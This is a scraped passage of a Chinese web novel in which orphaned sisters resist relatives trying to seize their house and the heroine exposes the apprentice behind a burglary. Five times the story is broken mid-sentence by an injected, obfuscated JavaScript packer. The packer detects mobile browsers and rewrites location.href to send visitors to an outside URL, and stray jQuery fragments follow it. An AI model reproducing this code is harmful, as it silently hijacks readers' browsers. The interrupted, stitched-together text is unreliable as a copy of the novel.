但儿子大了不能不娶老婆,最后周婆子想了个昏招,不知道从哪里搞来两桶油漆,把房间里原本的旧床和旧柜子刷了新漆,骗过了婚前来看婚房的小儿媳一家。 婚后这事儿当然很快就被发现了,但周婆子这时候已经无所谓了,人都已经被她儿子睡过多少遍,只能把这个哑巴亏吃下肚。 再说她已经做得很好了,大儿媳结婚时啥都没有呢,小儿媳已经沾了不少光,还收了两百块彩礼。 这段时间家里人都在默默承受小儿媳的埋怨,本来这件事都要过去了,可徐念薇好死不死今天大摇大摆,从外边买回来这么多全新的家具。 周婆子心虚地指责徐念薇乱花钱,昨晚她去徐家卧室看了,那些家具最多也就缺个边边角角,找个木匠上门修一修就能用,完全不用换新的。 可徐念薇才没心情和外人闲扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407188|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直接说了句:“旧的我可看不上,劈了当柴烧还行。” 什么?这么说她一个新媳妇,用的东西还比不上邻居家当柴火烧的。 周家欺人太甚! 周家小儿媳当场就红了眼,捂着脸转身跑回了娘家。 周婆子恨死徐念薇了,拍着大腿让小儿子跟上小儿媳,自己则死死瞪了徐念薇一眼,准备留下来看能不能发挥更大的作用。 徐念薇没管这些,说话的那点功夫就已经踏进了家门,徐再再见到她像是见到了主心骨,立即站到了她身边挽着她的手臂。 徐想娣站在原地左右为难,最后还是慢吞吞挪到了徐念薇身边。 “老四,你和大姑好好商量,可别动手。” “不用商量了,我不许他们搬进来。” 徐念薇又肯定地重复了一遍,一边朝门外的三个搬家师傅喊。 “师傅你们进来吧,安装好家具就能结款走人。” 看着三个力工壮汉抬着各种木板进屋,徐大姑心头更是一阵火热。 装了新家具的那间房正好适合他们两口子住,也算是弥补自己这些年在婆家的亏欠了。 “老四,大姑再给你最后一次机会,你可别不识好歹。你自己是滚刀肉,难道其他的姐妹也都不在乎名声了? 你可不知道外边的人咋说你们的,不然我和你姑父也不至于这么着急忙慌地过来。” 徐想娣抖着嘴唇,惨白着脸问:“外头都说啥了?” “就照实话说呗,昨晚钢铁厂院这边三个姑娘住家里,晚上让五个贼偷进去了,这伙人闹得可凶。 等邻居们发现进去一看,床啊柜子啊都震塌了,家里的姑娘衣衫不整的,身上的血和几个贼都沾到了一块儿。你说说,哪句话说错了。” 徐大姑一脸得意,这些话可都是她今早听到的,没有一句是她胡诌,现在看徐想娣的脸色,看来还真不是假的。 动静大得都出血了,还是不是黄花闺女都得打个问号,这下她还能不拿捏死这几个小丫头。 这新房她非住进去不可。 徐想娣眼前一黑,身体摇摇欲坠差点跌倒。 她心里只有一个念头:完了,徐家的女儿这辈子都完了。 13. 分配 “三姐小心。”徐再再心里也难受极了,看得三姐这幅样子赶紧扶住人。 徐念薇也没料到徐想娣听到这么几句话就要倒下,她吃完一斤牛肉现在浑身是劲儿,看来家里以后得好好整顿下伙食,老三身体太虚。 “我管外头人怎么说,谁敢舞到我家面前,巴掌伺候就完了。 大姑,我可提醒过你了,小心啊。” 徐念薇用左手轻轻摸了摸自己的右掌,接着说道,“家里还忙着,你们是自己走,还是要我帮你们把东西丢出去?” 徐大姑气得拍大腿:“我的老天,你还是我徐家的姑娘?什么时候变这么不要脸,我可不能眼睁睁看着你把我徐家的名声都嚯嚯完了!” 这就是不愿意自己滚了,徐念薇撸了一把袖子,就在她打算亲自上手时,门外有传来了动静。 “确实不能搬进来!” 是徐小姑夫妻俩,另外还带着家属院的街道办事处田主任过来了。 徐小姑家条件更好点,夫家还给安排了个工作,徐小姑父尹卫国自己也是国营商场的采购科经理。 他家人口少房子够住了,不像徐大姑家因为两个儿子结婚生子一大家子挤在一起。 “大姐,我看你们硬是要住进来不妥,谁不知道你家地方小不够住,这会儿住进徐家的房子,以后这房子到底姓徐还是姓胡?” 尹卫国这话说得正气凛然,他当小领导的这些年养出了点官架子,说话张弛有度挺像那么回事儿。 被妹夫拆台,胡向前立马急了,一脸伤心状:“我家怎么住不下了,我都是为了这几个孩子好,你可真会污蔑好人,我算是看透你了。” 不等徐念薇等人表态呢,这对结亲多年的连襟自己就撕巴了起来。 这事儿今天总要闹出个结果,徐念薇打算先听听他们怎么说。 “你要是为了侄女们好,就该听我的,把人都接回去养着,怎么好意思自己过来。” 尹卫国手里还拎着俩罐头,仿佛彻底忘了之前在医院和徐老四打起来的事。 “快拿着啊,你姑父专门买的,吃点水果压压惊。” 徐小姑此刻觉得脸上格外有光,外头的谣言她也听到了。 此刻,她真心觉得自己就是救娘家侄女们于水火的英雄,骄傲地招呼着最小的徐再再,赶紧接过那两盒价格高昂的罐头。 等人接过罐头后,徐小姑顺势拉着徐再再的手。 “昨晚吓坏了吧,待会儿你就去收拾东西,搬到小姑那儿去住。 你和你姐的房间我都收拾出来了,你欢欢迎迎两个妹妹都可想和姐姐玩儿了。” 徐小姑故意没说具体哪个姐,其实她来前和丈夫通过气,他们只想要徐想娣和徐再再两个,徐念薇这个刺头留给大姐家就好。 毕竟他家就一个男人,比不上大姐家三个大汉抗揍。 这样也是最公平的方法了,徐家两个有工作的女孩一家一个养着。 徐念薇难养,徐小姑家里就多养一个,这样大家都不吃亏。 这边尹卫国已经和徐大姑两口子说到了这里,夫妻俩听到这话,正在心里琢磨呢。 老四这死丫头分到他们家,当然从内心出发他们是不太想要的。 但话说回来,尹卫国说的也对,他们家地方小人再多住不下,没有工作的徐再再现在还是个累赘。老三人虽然老实些,但徐大姑却最讨厌她。 谁也不比谁强多少。 罢了,就这样吧。 死丫头不听话到时候饿几顿就老实了,上次他们准备太少才没当场把人制服,她一个小姑娘还能打得过三个大男人。 徐大姑从外边听信了流言蜚语,真的以为昨晚家里三个女孩儿吃了亏。 他俩并不知道徐念薇一个人就能打趴五个小偷,只觉得医院那一场是自己这边没发挥好。 “那,那这房子怎么说?” 徐小姑父特意做了个“请”的手势,往后退了一步,给一直没出声的中年男人增加份量。 “这是我从街道办事处请来的田主任,这房子不如让公家出面租出去,每个月的租金按人头分给孩子们。” 按人头分?那岂不是尹卫国家能拿两份,徐大姑立即不同意了。 “不行,凭啥你家得两份房租,我是你姐,我得拿大头。” “姐你比大小有啥用,两个孩子住家里吃喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407189|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住不都得花钱啊,咱们做事得讲点道理啊。” “凭啥按道理你家能多分,都是当姑姑的,起码得平分吧。徐老四这丫头多能吃你忘了,她一个人的胃口都快顶三个人了,不拿房租补贴,我们全家喝西北风去吗!?” 两边吵归吵,但都默契地没有提那两份工资的事情。 城里没有结婚的孩子大多数都得上交工资,不交全部也得交一大半,两家各自掌握一份工资已经是定死的事情,需要争的是明面上的房租和之后的徐家家底儿。 最后扯了半天,还是徐想娣弱弱说了句,乡下小姨家还有三个妹妹呢。 几人一拍脑门,对啊,徐家的八朵金花只嫁出去了两个,没出嫁的不是只有眼前这三个,乡下还有三个拖油瓶。 哎,老徐家的负担是真的多,当初生那么多干啥。 但为了徐家的那些东西,只能忍下。 最后两家人拍板决定,到时候房子租金分成三份,城里两个姑姑家各一份,乡下开销少,领那最后一份就成。 田主任就是被请来做个见证的,看徐家的大人们商量的差不多了,她轻咳了两声,几个人默契都住嘴没再说话。 “好了,我看这样安排挺好,总不能让这几个年轻丫头在咱们街道出事。她们也是可怜,父母都走得早,以后就靠你们这两个姑姑了。” 田主任最后面向徐念薇,“你去屋里拿纸笔给我写一份房屋租赁委托书,到时候每个月的房租来街道领就好了,不会少你们一分钱。” 这年头家家户户都生得多,到了年纪再结婚繁殖开来,多少房子都不够分的。 徐家的房子独门独户面积还大,租金按市价就不老少钱了。 要是分出去能解决好几家人的住房困难,到时候这名额给谁都是街道说了算,想要房子的人哪能不送礼就轻松拿到手。 所有人都是满意的,包括门外的周婆子。 等三个死丫头搬走了,她耍赖撒泼怎么样都要弄一间房给自己小儿子,就算徐老四咬死不租又能咋办,她照样能光明正大进门。 万事俱备只欠东风。 但徐念薇这股东风站在原地,居然一步都没移开。 14. 咬死 徐小姑开口催她:“念娣,你赶紧的啊,别让人田主任等急了。” 徐再再站在四姐身边,多了几分说话的底气。“小姑,我和我四姐都改名了,她不叫念娣,叫念薇,紫薇花那个薇。我以后也不叫徐再儿,叫徐再再,你们以后别叫错了。” 又整啥西洋景儿,浪费钱买那么多家具,现在还把父母给的名字都改了? 这个家里真是越来越没有规矩。 徐大姑刚想再说教几句,丈夫胡向前提前一步开口:“行行行,你们姐妹俩想叫啥都行,那待会儿委托书上就写徐念薇这个新名字行不行?” 徐念薇:“不行。” “咋又不行,徐老四,我们这么多人在这儿大半天了,真没时间再陪你闹了啊。” 徐念薇点了下脚尖,下巴冲着身旁的徐再再:“再再,咱们脚下这块地是谁家的?” “是咱们徐家的。” “户主是谁?” “户主是徐念薇,也就是你。” 徐念薇点点头,“这样啊,那为啥有人敢在我的地盘上给我做主? 新中国都解放多少年了,现在还有搞封建包办那套的,应该去哪里举报?” 田主任立马急了,“说啥举报不举报的,你们年纪小,我们这是在帮你们想办法。” 尹卫国也跟着说:“就是,这话可不能随便乱说,人田主任也是好心。你们仨这不满意那也不满意,到底想干啥?” 徐念薇:“啥也不干,照旧过日子。” “放屁,就靠你们这日子能过得下来?”徐大姑反驳道,“趁现在外头风声还小,你们赶紧搬走,日后还能好好工作嫁人,不然等过了这村,可就没这店了。” “不稀罕,我就是死也要死在自己家里。”徐念薇坚决不动。 到了谁的地盘就得听谁的,这是徐念薇前世今生都清楚的道理。 她凭什么要和姐妹们分开,到别人手底下讨生活。 几个大人轮番上来劝,但徐念薇就像那茅坑里的石头,又臭又硬的,怎么劝都不为所动。 徐小姑反应最夸张,被气得捂着胸口一副喘不过气的样子。 “老三老五,你们俩就看着她这么胡闹?当初户主怎么是老四?想娣你可是家里最大的,怎么把户主让给了你妹?” 徐大姑不能忍受煮熟的鸭子就这样飞走,那天厂子到徐家给的那三个好处每一个都诱人极了,她回家后抓心挠肝睡不好,一直在琢磨怎么把这些东西都弄到自己家。 没想到这么快就徐家就进了贼,这千载难逢的好机会她怎么能眼睁睁看着溜走! 徐想娣嗫嚅了下嘴唇,最终还是没好意思说出口。 金宝以后还不知道能不能找回来,谁做了户主,以后就默认要留在徐家,找对象也只能找上门女婿。 这年月谁不知道那些上门女婿条件,都是要啥没啥的社会边角料,徐想娣打心底不愿意将就。 在上民政局给父亲销户的前天,徐家几个姐妹商量户主人选时,徐想娣第一时间就把这位置让给了四妹。 她性子独脾气大,去了别人家做媳妇反而容易吃亏,还是留在家里招赘更适合。 徐再再道:“大姑,是你们在医院说,以后我家有啥事都不管了的,户主这事我们自家人商量好了的,反正我俩都听四姐的。” 医院那事徐大姑几人也正后悔呢,当天不该太小瞧这几个女孩儿,把人得罪狠了,导致后来徐家许多事情他们都插不上手。 “你们要是过得好我们不打扰,但现在都啥情况了,你们真不愿意跟着我们,那小偷坏人能上一次门,难道就不能上第二回?” “行了,这家我做主,你们先进去。” 徐念薇直接挥手把姐妹两个都送进房,让她们帮自己收拾屋子去。 院子里又只剩下徐念薇这个刺头小辣椒,事情回到了原点。 四人轮番上阵,如何晓之以理动之以情威逼利诱都没用,简直像是在和死人说话,徐老四一点反应都没有,连个眼皮都懒得抬。 又过了十几分钟,徐念薇等徐大姑等人说得口干舌燥了,也一杯水不伺候,直接做了一个“您请滚”的手势,田主任和徐小姑一家都是有头有脸的,众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407190|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目睽睽下不好一直这么干站着。 “行,既然你今天不愿意接受街道的帮助,就这样吧,以后有啥事也是你自己扛,反正我们街道的责任是尽到了。” 田主任说完这两句话就黑着脸往外走,尹卫国带着老婆忙跟上去表示歉意。 “行,今天算你厉害,以后你可别后悔!”至于徐大姑,和来时的光鲜招摇不同,最后只能放两句没啥份量的狠话来挽回自己岌岌可危的自尊。 离开家属院后,胡向前一贯的老好人面具被摘下,冷冷地把两个包袱都扔地上。 徐大姑这会儿却不复人前的泼辣模样,默默捡起来,自己一个人将全部的行李都扛在身上。 “都是你干的好事,让我今天丢这么大个人!” 不仅钢铁厂家属院这边,夫妻俩从家里提行李出门时,自家的街坊邻居也都看见了,现在又要把东西原封不动地拿回去,肯定有人会笑话他。 胡向前这辈子最受不了的就是被人笑话。 徐大姑对着自己丈夫说话的语气都变了,好声好气的仿佛在哄人。 “没事儿,回去了你别开口,让我和那群娘们说,我就说你是被我硬拉过去的。哎,这谁能想到老四那死丫头这么犟,以前她也不这样,都是因为我大哥和金宝不在了,她被刺激得都变了个人。” “你都知道她性格变了,那怎么还拿以前的态度对人家,尹卫国两口子上门都知道提点东西哄人。你啥都不懂,果然是没出去上班的人,脑子转得就是没上班的人快。” 徐大姑脸色变了变,最终还是小声为自己辩解了句:“家里的钱都在你手上,我没钱怎么买东西。” “还顶嘴!没钱你不知道找我要啊。”胡向前继续瞪着徐大姑,把人看得彻底不说话了,最后叹息一声。 “行了,以后你也学学你妹,对那几个孩子说点好听的,这样她们才愿意听你的话。那些丫头手里握着的好东西不少,可别把人都推到你妹妹那头了。” 感觉到自己还有用,徐大姑这才长长呼出一口气,带着点讨好的笑容对丈夫说道:“行,我都听你的。” 15. 流言 终于清净了,徐念薇和看热闹的邻居们打了几声招呼后把大门给关上,转身回堂屋给她卧室里忙碌的几人倒水。 其实屋里床板组装也到了尾声,三个工人师傅故意放慢了手脚,一边干活一边侧耳聆听外边的动静。 听了半晌也听明白了,这不就是想吃绝户吗,在这年头这种事还真不少见,还好徐家的闺女最后立住了。 金窝银窝不如自己狗窝,到了别人屋檐下,那寄人篱下处处被管制的滋味可真不好受。 一个工人师傅小时候就是这么过来的,在徐念薇进来前,他没忍住对徐想娣两人叮嘱 “这事儿还是得听你们姐姐的,她是个有主意的。外头那几个人嘴上说的好听,心理都想从你家捞好处呢,父母留给你们的家产可千万要守住了。” 徐想娣沉默没搭腔,倒是徐再再认真地点了点头,比起小姑家,她还是更愿意待在自己从小长到大的地方,尤其她接受不了和四姐分开。 “我知道了,谢谢叔叔。” 徐念薇端着水进屋,眼睛第一个看得位置就是床底板。 地板没有被动过的痕迹,一切都很安全, 徐念薇很快结清工钱让人下班。 徐再再贴了过来,小声说要和四姐一直住一起。 徐念薇握着妹妹的手,看着一旁发呆的徐想娣。 “三姐,难得今天请假,咱们出去下馆子吧。” 徐想娣心里很乱,下意识不愿意出门见人,万一大家都在她背后对她指指点点怎么办。况且以老四那饭量,下馆子花钱太多了。 “就在家里吃吧,我把家里的腊肉和白面都做了。” “菜里多放点油啊。” 徐想娣点头走了,她也想做点事缓解心情,自从父亲头七过了后,老四就天天嚷着要改善伙食。 家里的油从半年买一回变成了一个月买一回,腊肉也最后一点了,本来是要留给客人吃的。但看今天这架势,她们家以后估计都没啥客人上门了,不如早点吃了也清净。 徐念薇没把这点闹剧放心上,白天依旧在运输队跟着学车,早晚在家加餐,只有中午那顿在厂子食堂进餐。 这几天总有些眼熟的工友在背后看她,徐念薇耳朵尖,远远的听到了“小偷”“血”等词,拼接一下,居然和那天徐大姑的说辞差不多。 短短时间内,真相早已被藏进流言蜚语里,看不清原本面目。 徐念薇凭直觉认为有小人作祟。 到底是谁把她的英伟事迹给抹了,明明是她把小偷们打得满地找牙。 “小薇,那些女工说的话你别放在心上,我相信你。” 徐念薇饭没吃几口,她父亲的徒弟,曾经的追求者曹晓鹏端着饭盒坐到了她身边。 “这几天一定没顾上吃饭吧,我给你打了个小炒肉你可要……” 曹晓鹏话没说完,就看见了徐念薇那只全新的大号饭盒里,小炒肉、照烧鸡块、韭菜炒蛋、溜猪肝。 好家伙,食堂今天所有带荤的菜就她一网打尽,这真的是一个正常女人的饭量吗? 曹晓鹏看着自己手里那可怜的一小份肉,最后在徐念薇的注视下,默默把饭盒收回。 徐念薇从上次拒绝曹晓鹏后,两人关系就不冷不热处着。 在厂里遇见了,曹晓鹏总会停下来说两句话。 其余工友看到打趣,曹晓鹏不再红脸,而是一本正经地说一日为师终身为父。 现在师父不在了,他这个做徒弟的当然要好好照顾师父的女儿。 曹晓鹏这番话为他在厂子里赢来不少叫好声。 任何时候知恩图报都是一件满足广大人民群众朴素价值观的好事。 虽然徐念薇不清楚对方到底能照顾她什么,但她也懒得费精力和曹晓鹏保持距离,见面说两句话又不会掉肉。 “你相信我什么?” 徐念薇很少主动问自己什么,曹晓鹏按下心底的雀跃,一脸真诚地回答。 “当然是相信你还是个清清白白的好女孩。那些贼都是去偷东西去的,也不是啥大奸大恶的角色,都被抓了现行,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407191|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然不能有啥事。 家属院那些婶子大妈就喜欢添油加醋乱说,你可别往心里去。” 曹晓鹏说完酝酿已久的这段话,眼含期待地等着徐念薇的反应。 名声对一个女孩多重要啊,这几天舆论发酵,他不信徐念薇没听到什么风言风语。 哪怕面上正常,但心里肯定是不好受的,这时候自己贴心安慰几句,两人关系还不立马被拉近。 但事实并非如他所想。 “我吃饱了,先走了。” 徐念薇进食的速度很快,吃完饭立即站起身,打了个招呼就要走。 曹晓鹏楞在原地,张着嘴一时不知道说什么好。 走出食堂,徐念薇的脸色并不好。 曹晓鹏说那几个小偷不是啥大奸大恶的人,他是怎么知道的? 厂里的流言都是说她被几个男人糟蹋完了,根本没说过他们是哪种小角色。 徐念薇还是第二天到了派出所,公安调了档案,才和她提起一嘴那五人的家庭条件,曹晓鹏的话怎么想都怪怪的。 徐念薇琢磨了一会儿,忽然想到了医院里还躺着的那个倒霉蛋小偷。 下班后,徐念薇在医院摊子上随便买了一个小果篮。 到了外科护士站问前两天头撞破了,被警察送来医院的病人在哪个病房。 护士看她拿着果篮,大概是来看望病人的亲朋好友,对着住院表查了查,告诉了徐念薇。 徐念薇低着头很快找到对应的病房,这里边一共有四张床,都是因为一些外伤被送来医院的伤患。 靠窗第二张床上躺着的彭小刚头上被包了厚厚几层纱布,一个和他长得有几分相像的中年妇女正在给他喂饭。 “要死的东西,家里是缺你吃还是缺你喝了,你干出这么丢人的事情,咱们一家以后怎么在街坊邻居面前抬头,我真是没脸见人了呜呜!” 病房里女人低声抱怨的声音被徐念薇捕捉到,看来就是他没错。 徐念薇将果篮放在病床门口,敲了敲房门,随即消失。 16. 偷盗 病房里的几个人都听到了这动静,抬头一看只见一个价格不便宜的果篮放在了门口,敲门的人却不知道去了哪里。 离门最近的大妈将那果篮提了起来,一张留言卡就插在那上边。 “雄安第一钢铁厂”卡片上只有这几个大字。 那大妈奇怪了:“这果篮到底是谁送来的,怎么不见人,连这卡片上也不写人名,别不是送错了吧。 咱们这儿有认识第一钢铁厂的人不?没有的话,那我就把这果篮给大家伙儿分了啊!” 这年头城里人吃水果的也不多,这果篮里的苹果香蕉梨都是好东西,大妈才不想傻傻地拿去护士站找失主,给自家小孙子补充下营养多好。 “我认识,这是我朋友送来的!” 坐在病床上的彭小刚被他妈数落,心里正想着正主儿呢,这会儿一听到是第一钢铁厂送来的果篮,立马想到了一个人。 “你有啥证据?”大妈不死心多问了一句。 “送果篮的是我兄弟,他爸当了我六年小学班主任,我们都是一起长大的发小。 这小子现在发达了在第一钢铁厂上班,我这回儿受伤就是因为他,他当然得给我送点东西,估计是心虚,没敢在我面前露面。” 彭妈一听这话,立即就把大妈手里的果篮抢了过来。 “是晓鹏那孩子不,他咋对不起你了,你之前怎么没跟我说……” 主要也没法说啊,彭小刚心里也苦。 曹晓鹏那人前段时间和兄弟几个喝酒,喝多了就谈起意外离世的师父,说起他家唯一的儿子被拐了,剩下几个如花似玉的漂亮女儿,要守着大把的钱和空房过日子,还不知道以后会怎样。 这话说完估计连他自己都不在意了,但彭小刚几个人听得心头火热。 起码二千块啊,兄弟几个拿到手一人还能分个好几百,这不比上班强多了。 那些家里人多的他们没胆子下手,但几个年轻姑娘还不容易对付,为了自己的名声,说不定发现了都不敢声张。 晓鹏说那几个姑娘长得还水灵,没准媳妇票子可以一把全得来。 这个买卖不亏,必须干了! 晚了都说不准都轮不上他们。 但最后,初出茅庐的几个人不仅一分钱没偷到挨了重重一顿毒打,每家每户还赔了一百出去。 他们五个以后档案上有污点,更不好找工作了。 彭小刚觉得他们现在这么惨,都和曹晓鹏这小子有关。 这小子明明是自己惦记又不敢强上,才怂恿他们去。 凭什么他能依旧在钢铁厂做着他吃香的技术工,买这点果篮都不够,等他头上伤口养好了,还得去找人算账。 徐念薇躲在病房外默默听完,嘴角泛起一丝冷笑。 确定了。 有人搞她。 她必须让对方付出代价。 徐念薇从医院回家,晚上堂屋的饭桌上,徐念薇难得主动挑起话题。 “我今天在路上看到有小孩儿戴了金锁,那东西老值钱了吧,我还是头一回看到。” 徐想娣:“是啊,金子确实贵。不过老四你现在怎么老忘事儿,前年金宝得肺炎天天住院,爸就给他买了一个金锁还拿去寺里开过光,之后金宝还真慢慢身体好了起来。” 只可惜那金锁戴在徐金宝脖子上,平时藏得好好地,可现在金宝被人贩子拐走,那金锁估计早被人扯走换了钱。 想到这里,徐想娣不禁黯然神伤。 这些日子她们登报也登了,还去车站码头等地发了不少小卡片出去,但都杳无音信,没有一点金宝的消息传来。 “咱爸当年真阔气,当时花了他几个月工资来着?” 徐想娣无语地看了眼妹妹,“你连这个都记不清了?咱爸的工资都拿去给金宝交住院费,哪有闲钱买金子。 他当时倒换了一些厂里的破损零件,爸和我们说过,那些破铜烂铁拉去废品站挺值钱。不过这事到底不光彩,以后咱们少提。” 徐念薇一脸不以为意:“咱爸是厂里技术骨干,就算被发现了也没啥吧。” “话不是这么说的,这些都是国家公共财产,要是被保卫科发现私下倒卖废材,肯定是得挨批评记过。 不过上边领导也没管太严,小笔捞一点儿补贴家用也是人之常情,别被发现就行。 当然这都是爸和我说的,现在厂里啥情况我也不知道。 你可别动啥歪心思啊,厂里对咱们家可够好的了。” “我是运输队的,又不在车间干活,咋偷废材出去。” 徐念薇笑着吃完最后一口饭,“不过姐你说得对,钢铁厂给了咱家那么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409808|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好处,我可不会做什么坏事。” 而她都不能做坏事了,那么其他人更不能做。 接下来几天徐念薇还是照旧到厂子运输队学车,和几个生产车间比,运输队常驻的人数很少,和其他部门打交道的机会也不多。 那些风言风语徐念薇完全没放在心上,整天吃好喝好积极学车。 大家看她一副大喇喇无愧于心的样子,那股隐匿在人群中霸凌他人的快感渐渐消失。 再加上家属院里胖嫂等人看不过眼,帮着徐家说过好几回公道话。 这点歪风邪火没人往里添加新柴,渐渐的也就恢复了平静。 可就在徐家的事情下去不久,忽然钢铁厂保卫科的人闷不吭声地立了个大功。 技术科一个年轻科员偷运倒卖厂里钢材,被保卫科的人埋伏抓了个正着! “谁啊,到底是谁这么大胆子,你没说错,是钢材不是废材?” 他们市钢铁厂的产能可是能辐射整个省份,那钢材就是厂里最主要的产品。 技术科的人修理机器产生的破损零件被偷卖不稀奇,但全新的钢材都敢偷,那可真是过分了。 这不就是挖社会主义墙角,同时也侵犯了整个厂职工的利益? “没听错,我小舅子在保卫科,回来亲口和我说的。 说是有好心人看不惯,悄悄给保卫科写了封举报信,保卫科当晚就在后门那边埋伏了,把人抓了个正行,现在整个技术科都要跟着丢人。” “我的天!这人胆子可真够大的,到底是谁……” 另一边,钢铁厂保卫科关押室。 曹晓鹏一夜没睡,现在精神萎靡,嘴里不住地呻吟着:“我没有,我偷厂里的钢材,我是被冤枉的,有人要陷害我……” 但他这话说了一晚上都没用,保卫科的科长才上任不到一年。 新官上任三把火,连家属院遭了贼他都亲自带人夜里巡查,现在厂里出现这种重大案件,他更得慎重处理好好表现了。 等把这个案子办下来,他们保卫科就算是踩着技术科的脸皮,彻底在厂里扬名了,以后看谁还敢说他是靠着厂长亲戚的关系上位。 保卫科科长端着个茶杯,前途亮得晃眼,他唇边隐隐透着几分愉悦与得意,心里不知道第几次感激那个及时给保卫室写举报信热心群众。